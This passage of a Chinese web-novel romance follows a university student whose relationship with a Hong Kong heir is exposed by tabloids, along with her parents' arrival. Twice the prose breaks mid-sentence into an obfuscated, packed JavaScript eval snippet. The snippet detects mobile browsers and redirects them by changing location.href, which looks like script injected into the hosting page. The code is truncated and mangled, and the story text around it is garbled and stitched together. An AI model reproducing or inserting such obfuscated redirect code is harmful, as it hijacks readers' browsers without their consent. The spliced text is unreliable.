迷蒙中,她听见有人喊她的名字,可潜意识里的快乐还没有停下来,她蹙了蹙眉,忽觉哪里不对,倏然睁开眼,这才发现她还坐在琴凳上,手机里的音乐还在播放,而余萧弋坐在她旁边,正满眼担忧地看着她。 “你怎么了?” “什么?” 原来……一切都是她的想象,实际什么都没有发生? 她忽地红了脸,实在难以接受自己会对他产生这样绮念,本能向后一退,人就跌在了地毯上。 “小心!” 事情发生得太猝不及防,余萧弋想要护住她,结果却是伴随着她一起摔了下去,幸而刚洗过的地毯柔软而蓬松,不然两人是真的要吃点止痛药了。 “你告诉我这就是清醒?”他将她扯入怀中,没好气点了点她的额头,“下次没有我在,你不许再喝酒了,记住没?” “你急什么……”小初抬眸看向她身体上方的他,努力控制着自己内心的慌乱,“我只是没坐稳凳子,再说,又不一定是我的错,是你的凳子质量有问题。” 余萧弋被她气笑:“开始蛮不讲理是吧?” 小初嘴硬,“我没有。” “在这等我。”余萧弋欲起身离开。 “你做什么去?”小初下意识勾住他的脖子,声音逐渐含了祈求,“别走,好吗?” “去给你倒柠檬水。”这样的她有种令人抗拒不了的妩媚,余萧弋的喉结不受控制地滚了滚,意志力几乎已经到了崩塌的边缘。 “我不喝水。” “那你……要什么?” 小初答不出来,只是觉得他染了酒渍的唇色似乎格外红润饱满。 下一秒,她就主动亲了上去,学他刚才的温柔,若即若离地追逐着,轻吮着,直亲得两人的呼吸都是同样的酒精浓度,才小声问他,“酒精真的是止痛药吗?” “你说什么?”余萧弋的嗓音已哑到不能再哑,但仍然忍耐着,尽力维持着脑子里最后一丝清明,“方太初,你告诉我你真的清醒吗?你确定你明天早晨起来不会后悔吗?” 小初的思绪已开始迷蒙,再次被那团絮状物包围,“不后悔。” “傻瓜。”余萧弋紧紧抱住她,微不可察地叹息了一声,却始终没有进一步动作。 小初有些疑惑,“为什么?” 他的声音听上去很痛苦,“你不清醒,而且,你还太小。” 小初闭上眼睛,整个世界都开始旋转,她终于体验到了醉酒的感觉,贴着他的耳朵轻吟撒娇,“可我已经食髓知味了,都怪你,你要对我负责……” 话未说完,她就感觉身上的压迫感消失了,紧接着身体被什么柔软的东西盖住了,她无意识翻了个身,才发现那是沙发上的毛毯,可她太晕了,已经顾不上太多,就那么抓着它睡了过去。 地毯散发着玫瑰香,加速了她的熏然。 迷迷糊糊中,她听见世界很吵。 碗筷堆叠声,脚步声,洗碗机工作的电机噪声,喊狗狗和兔子去睡觉的低沉人声,最后才是卫生间的花洒声。 很奇妙,这些声音不仅不让她厌烦,反而让她觉得很安全。 不知睡了多久,她终于被唇上的一抹凉意惊醒,惺忪着睁开眼,才发现是他正俯身喂她水喝,眼前的一切还有些恍惚,她小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16498111|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口吞咽着,仿佛化身MV女主角,镜头虚晃的噪点跳动中,温柔的男主已在命运里降临。 “还难受吗?” 小初摇摇头。 “要不要去床上睡?” 小初想了想,点点头。 下一秒,她就感觉自己身体腾了空,迷蒙中她也没觉得害怕,反而本能楼紧了他,就这么感受着他的体温和心跳,睡了一夜。 第二天不是休息日,好在小初的课都在下午,还可以睡到自然醒。 他们是被一阵不依不饶的门铃声吵醒的。 连一向情绪稳定的余萧弋都被吵得不胜其烦。 “是不是工人姐姐?”小初咕哝着往他怀里钻了钻,也不想他动。 “她不会这么没有分寸感。” “那……” 小初只说了一个字,两人就默契瞪大了眼睛,倏地一下从床上坐了起来。 “文然阿姨?” 宿醉之后的小初头疼至极,不用余萧弋反对,她已经决定以后能不碰酒精就不碰了,主要她一喝开心了就缠着人要酒,自己那副德性有多难让人拒绝她比谁都清楚,这种喝法怎么可能不醉?昨晚才喝了那么点她就不省人事了,这幸亏在她的身边的人是他,不然…… 她想都不敢想。 可就在下一秒,她就惊恐看到自己身上他的T恤,脸瞬间充了血,问他,“你给我换的衣服?” 这句也是废话,这家里就她和他,不是他就见鬼了。 “嗯。”余萧弋转过身,穿上拖鞋,语气漫不经心的,“不仅换了衣服,还帮你擦了脸,漱了口,半夜还被迫给你盖了好几次被子,顺便充当了你的人形抱枕,服务费什么时候给我算一下?我也可以给你打个折。” ?!小初还以为自己幻听了,这男人真绝了。 “不过你放心。”他回过头来,朝她勾了勾唇,“别的服务肯定没有的,主要那个价钱比较贵,我怕你醒了不认账。” 他这么温柔克制,怕她尴尬还插科打诨哄她开心,小初心里其实已经甜度超标了,但她还是不服气地指了指自己的脸,“我看着是那种赖账的人吗?下次你尽管服务,我不会亏待你的!” 余萧弋轻笑,也不搭理她,径直向客厅走去。 门外的人还在敲。 小初有些紧张,也跟着下了地。她心里也大概明白,他家对她和他的动向应该是了如指掌的。 虽然她不经常在这住,但工人姐姐每天从那边开车过来帮忙,看见这边满屋子她的长头发,洗手间里两个人的洗漱用具,还有穿着各式小裙子的港港,难道还不明白自家大公子正在发生什么吗? 她看见,和萧文然亲眼看见,又有什么区别? 说不定,连某一天可能出现在垃圾桶里的避孕套,都不会是只属于他们两个人的秘密。 小初倒没觉得窒息,她脑子清楚得很,她和余萧弋目前很肯定都没时间照顾Enzo和港港,必须要仰仗人家帮忙,而他们又暂时没有能力脱离家庭独立生活,既然如此,他们就没有资格要求付账单的人什么都别插手。 包括方协文和黄亦玫,她同样也能接受他们对她的一切指点,或者指指点点。 做人总不能既要又要觉得别人的付出都是应该的,哪怕是父母和子女之间。 余萧弋回头看了她一眼,示意她他要开门了。 小初赶紧整理了一下头发和衣服。但事已至此,也没什么可避讳的了,本身她的出现,就已经是一种极具挑衅的信号了。 他家里让他们分手,他们不仅不顺从,反而比之前更亲密痴缠了。这不是对权威的挑衅是什么? 可小初实在没想到,门外的人既不是工人姐姐也不是萧文然,更不是任何一个余家的人,而是一个穿黑色职业套装的都市丽人。对方的眉眼很清淡,但妆容和衣着配饰都很精致,举手投足间自有一种从容洒脱的气质,给人的感觉很舒服。 她听见余萧弋叫她,范小姐。 范小姐?小初蹙了蹙眉,终于想起她是谁,上次的月饼,不就是她送到她们宿舍的吗?如果没记错,她应该是余氏集团公关部的经理?她怎么……跑到这来了?如果不是有什么急事,她大可打电话联络就好啊,难道是……小初蓦地出了一身冷汗,昨天那两个狗仔出了岔子? 然后下一秒,她的话就验证了她的猜想。 “Theo,昨天那家报社把你和方小姐的照片刊到了他们家娱乐版的头条,今天一大早,已被各大传媒和自媒体营销号转载,事态压不住了。” 范小姐说话的时候语气不疾不徐,而且抽空还和小初点了点头,一看就是经过狂风大浪的。 余萧弋忽地转身看向小初,眼神里都是歉意,“不好意思,我没想到……” 小初摇摇头。 她虽然一时还没想通他们此刻这个节点拍她和他到底指向性在哪,但她也不是没有心理准备,早在一开始决定跟他在一起,她就预料到了某天自己会被各种下三路报纸以挖掘豪门秘辛的噱头写成香艳的故事贩卖到大街小巷了。 爱,肯定是要付出代价的。 这个道理她懂。 她现在唯一担心的是,远在北京的方协文和黄亦玫看见了这些消息会怎么反应怎么想。 不过,只要他们不公开认领她,也就没什么吧?一个不值一提的内陆交换生而已,连余家公子绯闻的边角料都算不上,热闹个一天两天,想必也就被公众抛到脑后去了。 余萧弋沉默了一会儿,气场逐渐肃杀,“为什么没压下来?” 范小姐看他一眼,“你该明白,余家在本港还没有操纵传媒的能力。” 余萧弋轻笑一声,“是对方要的价码太高了吗?比小叔的事还高?” 范小姐没说话。 余萧弋又问:“我爸妈知道这事吗?” 范小姐摇头,“昨天你说不用他们知道,我也就没知会,但对方动作这么快,想必昨晚跟我们接洽的时候就已经开动机器准备印刷了,所以知不知道也不会影响结果。余董这边的意思是……”她顿了顿,极力组织着语言,以尽量不伤害到小初的尊严,“少年青涩的爱恋,写也就写了,没必要给太多眼神。” 余萧弋默然。 他自是清楚他爷爷会说什么。 小初却不关心他们家内部对这件事是什么想法和意见,他们爱怎么想怎么想,她关心的那部分是——“传媒那边写的什么内容?” 范小姐有些犯难:“我们确实谁也没想到……” 小初从对方脸上看出了事情的严重性,立刻掏出手机打开了今日新闻。 然后下一秒,她就傻了眼。 因为那标题实在尖锐且绝对会产生爆炸性效果。 《余绍鸿一孙二许,港式老钱终不敌内陆新贵》。 她简直不用点进去就已经预想到了里面都写了什么。 方协文之前在网上铺天盖地的绯闻想必也难逃此劫,托她的福,亦方科技恐怕是要火过香江了。 God。 小初感觉自己已经不能呼吸了。 只有余萧弋还一脸懵懂,问她:“内陆新贵是谁?” “啊……” 小初想说,我现在开始坦诚,还来得及吗? 52.第 52 章 “方太初,你这不是挺有层次感的吗?” 范小姐一走,余萧弋就淡笑着丢了这么句话过来。 骂得真脏…… 小初心脏微抽。 她看得很清楚,他说话时嘴角明明是勾着的,眼神却已淡漠疏离到了极致,隐约还夹着几分失望和心碎。 “你听我解释好不好……”小初祈求地摇了摇他的袖子。 “不需要。”他自嘲,不动声色甩开她的手,“我余某人又配不上你的坦诚,既然配不上,说太多也没意思。” 说完这句话,他就转身把自己锁进了卫生间,没一会儿里面就传来了水声。 小初强忍着宿醉后的头疼,好脾气地跟过去,隔着门自顾自跟他解释:“我真不是有意骗你的,再说你也没问过我啊。我没主动提,是因为我觉得这件事它就没什么好说的,就像我喜欢你,从来不是因为你的家庭和出身,同样逻辑,你喜欢我,肯定也跟我爸妈是什么人没半点关系,不是吗?” 里面的水声消失,又传来了剃须刀转动的声音,但他就是不说话。 小初呼吸一滞,继续说:“况且,从一开始我也没有瞒着你啊,你这么聪明,肯定也能看得出我家庭条件还好吧?要是没有一定的物质做基础,他们怎么培养出这么一个随性率真,可爱善良,物欲淡薄,还理想滚烫的我呢?” 小初还没想好下面的话该说什么,余萧弋就忍无可忍推开了门,“小姐,我现在不太想听人夸夸其谈赞美自己。” 小初弯起眼角:“可我说的不是实话吗?” 他仍然淡淡的,指了指沙发方向,“请你到客厅去等,可以吗?” “哦,好。”小初态度非常真诚,“只要你肯跟我说话就行,我不怕等。” 余萧弋递给她一个无可无不可的眼神,咔嚓一声再次锁上了门。 小初微不可察地叹口气。她长这么大,就没这么低声下气地哄过谁,但今天恐怕要破例了。 余萧弋这边还不是最大的问题,她现在最担心的,是方协文看到这些消息后会不会直接飞过来打断她的腿。 她爸可没那么好糊弄,凭她胡言乱语说几句好听的就能哄好,她左思右想,总觉得还是在事情爆发之前先跟黄亦玫说一声比较好。 毕竟,能温柔包裹住他爸所有负面情绪的人,也就只有她了。 小初坐回到沙发上,再次打开今日新闻。刚刚范小姐在,她只粗略浏览了一下。 越细看,心越沉。 执笔者的文风非常辛辣犀利,洋洋洒洒几大版面,把余家,杨家还有她们方家全部来了个大起底。 也不知他哪里查到的这么详细的资料,连方协文创立亦方之前和萧文然在同一个公司共事过的细节都尽在掌握。 小初严重怀疑对方有专业的金融或财经背景,因为,他甚至还头头是道地分析了一下三家各自涉猎的产业现状和发展前景,远高于一般八卦记者的认知水准。 文章还提及了余杨两家准备联手进军欧洲能源市场的传闻,并创立议题供读者讨论,涉及几百亿的商业合作,单靠利益联结不靠联姻加码是否真的能稳固。 然后又说到近几年全球经济下滑,所有传统行业以地产为首,无一幸免都受到了不同程度的重创,而以信息技术和人工智能,新能源以及半导体和高端制造为主的科技类公司却增长强劲,显然已成为各路资本争相涌进的领域。 所以,科技新贵和传统老钱,余家倾向谁,似乎都无可厚非,也都不会出错。 只一点,杨家和余家都是百年家族,家族成员间关系盘根错节,面对传媒时一团和气实则从未停止明争暗斗。能力平庸的人太多,真正能赢得股东信赖的接班人却很难选。 文章最后还没忘将方协文最近在互联网上的绯闻罗列一番,表示也不排除他在外面还有多个私生子女的可能。 但不管怎么说,方大小姐是名正言顺唯一的继承人这件事,已是既定事实。 且综合他们所得到的消息,她是十六岁就考进少年班的天才少女,智商方面是绝对的碾压。 相比之下杨敏中是靠捐款才被海外名校录取的艺术生,将来能进入杨氏集团核心管理层的概率微乎其微。 虽如此,豪门媳妇似乎也从来不需要靠智商取胜,足够乖巧且愿意为婆家开枝散叶才是王道,京港两地的家庭观念差距如此之大,两人谁能更好适应这个身份,答案显而易见。 但眼下看,余少似乎已经做出选择。 并得出结论——余绍鸿作为家主的话事能力已日渐削弱,余韬韬夫妇不惜给儿子介绍故人之女来反抗权威,平静的海面下,很多东西已波涛汹涌。 小初几乎是强忍着不适看完整篇文章的。 文章封面上她和余萧弋倚在车门边拥吻的照片更是让她尴尬到如芒在背。 她简直都不敢想,已经有多少人的目光在这张照片上停留过,陌生人和普通同学朋友就算了,关键还有他们双方的父母,以及父母圈子里那些长辈呢…… 救命!!! 他们现在才二十出头,就算真考虑结婚,也只可是十年之后的事情,这中间十年,变数那么大,有的人婚可能都离三次了,他们不觉得现在说这些很好笑吗? 再说,他余家是有皇位吗?传媒凭什么觉得他们家有资格在这选妃?这样的文章一出,别说她,估计杨敏中叶被气坏了吧?谁家好女孩子愿意被人家拿私事在公共平台评头论足啊。 他们两家大人合作就合作呗,反正两家都有各自的金牌律师坐镇,难道还能吃了亏吗?拿各家子女的婚姻开玩笑,是有多低级? 小初的唇越抿越紧,她打开微信,正想和黄亦玫坦白从宽,不想一眼过去整个列表都是未读消息,她之前的很多同学都不知道她的身份,这下好,全被三流小报曝光了。 她不敢点进去他们三个那个小家庭群,手指轻轻一滑,页面就跳到了非置顶的聊天框部分。 艾琳最激动:【方太初!你藏得够深的!难怪我之前要拿你爸做屏保你不乐意呢!我在这必须澄清一下啊,我对他绝对没有任何臆想,幻想以及非分之想!我现在就把屏保换了。】 说完就发了个截图过来,屏保上是大大的一行字——【宝贝我错了,能原谅我吗?】 小初眉心一跳,回她:【这消息传得这么快吗?你那边也看到了?】 艾琳回得很快:【当然!你爸这么红,媒体怎么可能放过他的八卦!话说回来啊,你那港风男友确实挺帅的,什么时候带回北京,我请你们吃饭。】 小初没回,她现在还哪有心思思考什么吃饭不吃饭,她小命都不一定保不保得住了好吗? 余萧弋从卫生间走了出来,眼见着人清爽了很多。 两人目光在空气中不经意碰撞了一下,他也没给她多余的表情,就到阳台给Enzo和刚刚准备早餐去了。 小初凝了凝眸子,垂下了视线,刚好,她现在也没心情应付他。 干妈谢令妤最幸灾乐祸:【哈哈,我还想着替你在你爸妈那瞒一瞒呢,想不到你们自己这么不小心被人家给拍了,我说那小子上回怎么把Brioni的复古西装穿得那么随意呢,感情是余家的孩子,行吧,他那个家世和样貌,也勉强配得上你吧,干妈这关就算过了,改天过来,我请你们吃饭。】 小初嘴角一抽,这帮人怎么这么热衷请人吃饭? 她也顾不上别的,赶紧求救:【SOS干妈,我爸知道这消息准要打断我的腿,你要保护我。】 谢令妤大概在忙,没有立刻回过来。 她又点开了舅舅黄振华的,他还是一如既往的嘴毒,【你姥姥之前说什么来着?真是怕什么来什么。】 而后又补了一条:【不过,该说不说,你眼光比你妈年轻时候可是要好多了。】 小初打了一串省略号过去,又有些替她爸愤愤不平:【都这么多年了,咱家这傲慢与偏见还没结束呢?】 舅舅回得倒是快,【得,你就向着他吧,回头他收拾你的时候你可别往我身后躲啊。】 小初立刻认怂,嘴角垂了垂,看着可怜兮兮,【舅舅,我错了。】 黄振华这才收起玩笑的语气:【过两天回来舅舅去接你,你爸妈那边我和你舅妈会帮你劝着的,这事你也要理解,你毕竟还小,又一直被家里保护得这么好,现在信息突然被这么曝光在互联网上,谁能承担起这个后果?别说你爸妈,我都气得冒火,这一早晨嘴都烂了个疱。跟那帮三流报纸的孙子比,你舅舅不算傲慢了吧?你看他们那个行文的语气,倒像咱们捡了什么天大便宜似的,谁稀罕啊!】 小初的眼泪一秒钟就落了下来,却又不知道该回句什么过去,眼泪一滴滴不停落在手机屏幕上,不小心触发了一个笑嘻嘻的表情包过去。 黄振华嗔怪地骂了一句:【没心没肺。就那么喜欢?看你被人家偷拍那几张照片里笑的!你们才认识几天啊?】 小初想抹眼泪,一张雪白的纸巾就已经递到了面前,她倔强地抬起头,对上余萧弋深邃的眼眸,好几秒,空气都是静的。 “哭什么?”他依旧板着脸,动作却很轻柔,帮她把眼泪擦了。 小初咬着唇,“你欺负我。” 余萧弋眼底滑过一丝荒诞:“小姐,咱俩到底是谁欺负谁?从认识到现在,你有哪怕一秒钟想过和我有未来吗?你没讲错,我喜欢你是跟你爸妈是谁没关系,可你明明有那么多次机会可以解释的,为什么只字不提?” 他没好气的,“所以上次开豪车来学校看你的那个男人,就是你爸?” 小初提高声音,“我本来没想瞒着的,是你先误解我和他有不正当关系还让我离开他的。” “……”余萧弋一噎,隐约想起好像是有这么回事。 “上次我问你爸妈职业,你说他们一个是程序员,一个是艺术馆主理人?我能采访一下你怎么想的吗?” 小初扬了扬下巴:“那我也没说错吧?我爸复旦计算机毕业的,出身就是程序员,不信你去问文然阿姨啊,他们之前在上海不是一个公司的同事吗?” 余萧弋被气笑:“避重就轻就不算撒谎了是吗?” 小初说:“你昨天不是说允许我骗骗你吗?这我还没骗你呢,你就生气了,你怎么这么言不由衷?下次做不到的事就不要承诺,好吗?” “……”余萧弋眯了眯眸子,第一次觉得自己这辈子算是完了。 吵也吵不过,就算吵得过也舍不得她受委屈,以前还天真以为他的家世背景在她那能是个加分项,现在这么一看,人家一市值几千亿科技公司的继承人,全世界能和他匹配的优秀男人估计比过江的鱼还多,他又凭什么觉得她会一直喜欢他。 “所以这才是你不能离开北京来港生活的根本原因?那个更赚钱的项目,就是亦方?”他颓然坐到了沙发上,无可奈何地摸了摸她的脸,“难怪我爸妈不告诉我你的真正身份,他们大概是想我快乐一天是一天。” 小初感受着他掌心的温度,有些委屈,“你怎么不想我也只要你快乐呢。” 余萧弋眼睛有些红,但神情还是骄傲的,“好吧,我原谅你了。” 小初咬唇,“我又没错。” “好,你没错。”余萧弋无奈,只能妥协。 两人对视,嘴角都没忍住上翘的弧度。 小初起身:“我饿了,你去准备早餐,我洗个澡换件衣服。” 他扯住她的指尖,声音很轻很脆弱,“所以刚刚为什么哭,是你爸妈勒令你和我分手吗?” “没有。”小初神色暗了暗,“我还没勇气和他们联系。你不知道,我爸妈一向注重保护我的隐私,每年要花不少公关费避免我的影像资料被泄露到互联网上,按说……”她顿了顿,“这边更不应该有人知道我的来历才对的。” 余萧弋凝眸,脑子里很多混乱的思绪没法成型,但有一点他很肯定,“你爸妈肯定恨死我了。” “又跟你没关系。”小初温柔地鼓励他,“我选择爱你的时候,就已经接受你可能给我带来的所有麻烦了。” 余萧弋万没有想到她会说出这么一句话来,整个人都被巨大的恍惚罩住,这一早晨所有的不安和恐惧都在此刻土崩瓦解,水汽蔓延上来的瞬间,连他自己都没意识到,直至有什么不小心已经落到了唇边,冰凉而微痒。 “傻瓜。”小初将他的头抱在胸前,任他的眼泪全部蹭在了染了她身体味道的,他的衣服上。 “但此事因我而起我推不掉,有人在借你我暗示我爸妈想夺权。” 余萧弋抬起头,满眼破碎地看向她。 小初愣住。 “我爷爷七十五了,身体近两年已大不如从前。” 小初把自己锁进卫生间,才鼓足勇气打开和她爸妈的那个聊天框,然而令她意外的是,群里最近的聊天记录还停留在两天前,黄亦玫和方协文甚至没有单独给她发任何一条消息。 这个结果让她始料不及,一时竟不知道该作何反应。 难道是他们还没有得到消息? 不可能。 小初几乎一秒钟就否定了自己这个想法,连黄振华都知道了,他们俩怎么可能不知道,就算本来没留意,亲友们也一定会转发的吧,Tina阿姨,舅妈,林昊叔叔,肖小雨,还有就在事发现场的谢令妤,事情闹得这么大,他们谁看见了还敢帮她隐瞒。 谢令妤终于回过来:【嗯,不怕啊,有干妈在呢。但你也别把你爸想得那么可怕,事情真发生了,他脑子里就只会有一件事,那就是最大可能地保护你。】 小初再次泪目。 想了想还是给黄亦玫发了条消息过去,多了也不知道说什么,只怯生生喊了声,【妈。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16509596|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 消息一发送成功页面上就显示对方正在输入中。 小初合衣坐在马桶上,静静等待着。 她做了很多心理准备,但还是被跳出的那条消息击中了心脏,眼泪瞬间决堤。 【我和爸爸已经在首都机场候机,大概中午抵达香港,但你先不用管我们,自己先好好上课,大概傍晚时候我们再过去接你一块吃饭,方同学,你现在就可以思考你想吃什么了。】 小初吸了吸鼻子,回过去:【想吃沙茶火锅。】 黄亦玫发了一个大大的笑脸:【OK。】 小初洗了个绵长的热水澡,直至四肢百骸都被泡得柔软而温暖才推门出去。 餐桌上已经摆好了两碗素面,面汤清透,碗边整齐码着盈翠的青菜尖尖,太阳蛋异常成功,和醒酒器里的小雏菊和太阳花一样,都拥有着治愈人心的力量。 她勾了勾唇。 “洗好了?”余萧弋从厨房走出来,示意她,“先吃饭,一会儿我帮你吹头发。” 小初随意擦了擦发梢的水珠,从善如流地接过他手中的餐具:“辛苦。” 余萧弋笑,“你要这么客气的话,这辈子不知道要说多少句辛苦了。” 小初没说话。 一辈子,多么遥远的词。 直至一碗汤面见了底,她还没想好要怎么告诉他,她爸妈飞过来看她的事。 因为,他们压根儿提都没提他,仿佛他们来,只是因为单纯想她了,跟任何其他突发事件都没关系,至于街头报纸上无聊故事的男主角,谁在意? 很多话不用说得太明她也明白了父母的意思。 吃了饭,余萧弋主动收拾了碗筷,因为只有两个碗,他没用洗碗机。 小初倚在厨房门口看了他一会儿。围裙带子松了,闲闲垂在腰的两侧,她想也没想就走上前去帮他系了个结,然后顺势,从背后抱住了他。 余萧弋的身体不自觉的地颤了一下,然后才温声问她,“怎么了?” 小初把脸贴在他的背上,声音听着有些慵懒,她尽量让自己不那么刻意,“我爸妈过来了。” 余萧弋手里的筷子哗啦一声掉进了水槽里,他甚至连水龙头都没关,就迫不及待地转过身来,声音紧张到有些沙哑,“什么时候的事?你怎么现在才说?怎么办,我要做什么准备吗?” 小初越过他让水流停止,故作轻松地把指尖沾到的水掸到他脸上,瞪他一眼:“跟你有什么关系,我自己去见就好了,晚上带他们去吃沙茶火锅。” 余萧弋瞬间明白过来,抿了抿唇,“他们没说想见我?” “见你干嘛?万一再被拍怎么办?现在我们俩都在风口浪尖上,还是低调点吧。顺便跟你说一声,我这几天可能都不能和你见面了。我爸妈应该可以在这陪我两三天,然后我们就一块返京了。这次就不带你了哦,我又要考试什么的,也顾不上你。” 余萧弋垂下眼睫,半晌没说话。 小初耐心地哄着:“以后有的是机会。” “几天?” “嗯?” “所以我们几天不能见?” 小初算了一下,“大概五六天这样?我考完试还要在北京过个周末陪陪姥姥姥爷。” “理解。”余萧弋叹口气,“刚好,我家里也叫我回去一趟呢,这几天我也顾不上你。” 小初点头:“我明白。” “过来,我才想起来我从美国带的礼物还没给你呢。” 余萧弋牵着小初的手,把她带到客厅。 小初有些不好意思,“你总这样我怎么还你啊。” “方太初,你是不是故意气我?作为男朋友我送你几件小礼物你还要当人情记着吗?” 小初知道自己又说错话了,立刻噤声。 可下一秒,她的瞳孔就放大了。 随着那个贴满了世界旅行标签的行李箱扣咔的一声,里面满满登登的小玩意立刻像蜂蜜流出蜂蜜罐一样,淌了一地。 他这是把人家纽约的礼品店给清空了吗? 饶是小初也算是个见过些世面的人,都觉得他有点太夸张了。 “喜欢吗?”余萧弋拿过一个穿着自由女神皮肤的小熊在她面前晃了晃,“很可爱吧?” “可,可爱。”小初仍在眼花缭乱中。 这一地都是各种软乎乎可爱的玩偶,极具设计感的文具,贴纸,零食巧克力饼干,护肤品,首饰还有丝巾什么的。 除此之外,他竟还买了一沓卡通手表,还没等她反应过来,他已经把其中一个黄色配蒂芙尼蓝的扣到了她的手腕上,还自顾自欣赏了一会儿,似乎对自己的审美很有信心,“很衬你肤色,是不是?戴着玩吧。” 他太用心,小初已经感动到一塌糊涂。 他们俩席地而坐,开始不由分说往对方身上招呼自己认为适合对方的东西。 “这个冷帽适合你,过两天回北京就可以戴了。” “这个糖是什么口味?”小初大力撕开包装,取出一颗放在他嘴里,“怎么样,好吃吗?” “嗯。”他笑,“甜的。” 两人越拆越开心,小初挑了一些打算带回宿舍去,其余的还是放进了他的柜子里。 上午九点半,港股亦方科技开盘即飘红,也不知道这帮股民在预期什么,突然这么疯狂。 两人在房间里又虚度了大半个上午的时光才出门,为了避嫌,他们特地在离学校很远的地方就分了手,尽量降低存在感。 下午上完课,黄亦玫和方协文就在教室外面等着她了。 陪他们一起来的,还有一个飒爽英姿、目光如炬的陌生女子。 小初吓一跳,脑子里隐隐猜到了什么但又因为那个答案过于离谱而没敢开口。 最后还是方协文证实了她的猜想:“以后就由你曹旸姐姐负责你的安全问题,学校的宿舍你也不要住了,爸爸和妈妈已经给你找好了住处,那个公寓离你学校近,安保也更好,反正就这几个月,你稍微坚持一下,等回京就好了,你一个人在这边,我和妈妈不放心。” 小初感觉自己要窒息了,每个细胞都写满拒绝,“爸!你是不是太小题大做了?香港警匪片看多了是吗?现在治安这么好,哪里就有安全问题了!再说了我在宿舍还有朋友呢,你这样不是让我孤立起来了吗?” 方协文弯了弯眼睛,语气确实不容置疑的,“或者你也可以把你舍友请过来一块住。” 小初转向黄亦玫,快哭出来了,“妈,你也同意?我这么去上课不是目标更明显吗?同学们怎么看我啊?” 黄亦玫心疼地抱了抱她,“小初,我们也是经过深思熟虑的,事关你的安全,我和爸爸不敢赌。你放心,曹旸姐姐会尽可能地弱化她在你生活中的存在感的。” 小初不吭声了。 事已至此,她还能说什么。 53.第 53 章 沙茶火锅是小初来香港后不可自拔爱上的美食之一,她其实早迫不及待想带父母尝尝了。 方协文没有选排着长队的老字号街边小店,而是选了家位于中环威灵顿街的由米其林主厨主理的私房菜餐厅。 餐厅的环境和服务自不必说,最重要的是私密性极佳,非常适合聊天。他们是今天的第二桌客人,无疑,也是最后一桌客人。 沸腾的沙茶锅底散发着很特别的一股醇香的味道,不断蒸腾的热气刚好横亘在小初和父母之间,像是一个缓冲地带,让她刚好可以回避和他们目光对视。 因为此刻的对视于她而言简直无异于时间闪回的开关,每一下都无疑会指向那个唯一的瞬间——她被余萧弋抵在车门上,正别过头去笑,他的吻落下来,太阳的余晖刚好穿过小叶榕的气生根映在两人的脸上。 他们吻得太忘我,直接屏蔽了整个世界。 她从没有像此刻这样希望自己有穿越时空的能力,可以一个响指就将时间的褶皱抹平,更从没像此刻这样无视法律和公平正义,恨不能亲手弄死那两个狗仔。 方协文的脸色淡淡的,虽然没有说她什么,但就是始终散发着一种让人无法承受的强大气场,她总算知道他那些下属平时过的是什么日子了。 难怪黄亦玫之前说她们全家都应该感谢肖小雨,方总这样的,身边最不能缺的,就是一个即通透又周全,情绪稳定还忍功了得的人,这份工作,还真不是随便谁都能胜任的。 小初之前不懂。 现在都懂了。 “今天的和牛纹路看着真漂亮。”黄亦玫先夹了一筷子给老公,然后才顾得上小初,“小方同学尝尝。” 小初睫毛不受控制地颤了颤,说了声,“谢谢妈。” 黄亦玫嗐了一声,眼波流转间还有种不可言说的风情,像是霜降之前山野间最后那一朵生命力顽强的玫瑰,绽放着令人动容的美丽,“这么客气吗?” 小初勉强笑笑,默默把碗里的牛肉吃了。 “怎么样?”黄亦玫期待地看着她。 “确实不错。”实际上小初几乎味同嚼蜡,压根什么都没尝出来。 黄亦玫又转向老公,“方总觉得呢?” 方协文面色稍缓,似嗔似怨地看了她一眼,到底顺着她的意思把那片牛肉喂进了嘴里,吞咽后又喝了一口纯净水,才淡淡开口,“是不错。” 黄亦玫咬咬唇,“你们父女俩这么默契吗?这么惜字如金还能说出一样的话,我看你们俩就是故意在孤立我,就像当年在那辆房车上一样,你们在玻璃窗上画的线条,我还以为是什么雨的痕迹或是梯田斑马纹什么的,要不是你们,我恐怕一辈子都不会把那个东西往二进制上联想。”她委屈地歪了歪头,就已经抵在了老公的肩上,“为什么二进制是长短不一的线条啊?” 方协文听了果然不自觉露出笑容来,“你又不需要懂,还是你的想象比较浪漫。” “可惜。”黄亦玫眨眨眼,“浪漫不能当饭吃。” “谁说的?”方协文不顾女儿就坐在对面,将老婆搂入怀中吻了吻她的头发,“你以为谁开美术馆都能赚钱呢?要论贩卖浪漫,方太太你绝对是个中翘楚。” 黄亦玫嗔了他一眼:“真的假的?” 方协文弯起眼角,连鱼尾纹看着都像奔涌着的温柔的河,“如假包换。” “虽然如此。”黄亦玫拿起纸巾,擦了擦头发,警告地看了他一眼,“你能不能不要用你那个油乎乎的嘴,亲我的头发?” 方协文眯了眯眸子,也不管她怎么想,直接俯身过去又大大亲了一口,挑衅似的,亲完心情突然雨过天晴,甚至还大大吃了口响铃卷,一边吃一边好整以暇看着老婆的反应。 小初就坐在这对夫妻的对面,她自然知道她妈是故意插科打诨缓和气氛呢,可……她爸这个顶级恋爱脑也未免太容易中圈套了吧? 只凭着人家不经意的三言两语和若有似无的身体碰触,他就沦陷了? 她这个逻辑严谨的理科生,大概一辈子都学不来她妈妈的温柔感性,所以,有时候她真的不明白,余萧弋到底看上了她哪一点。 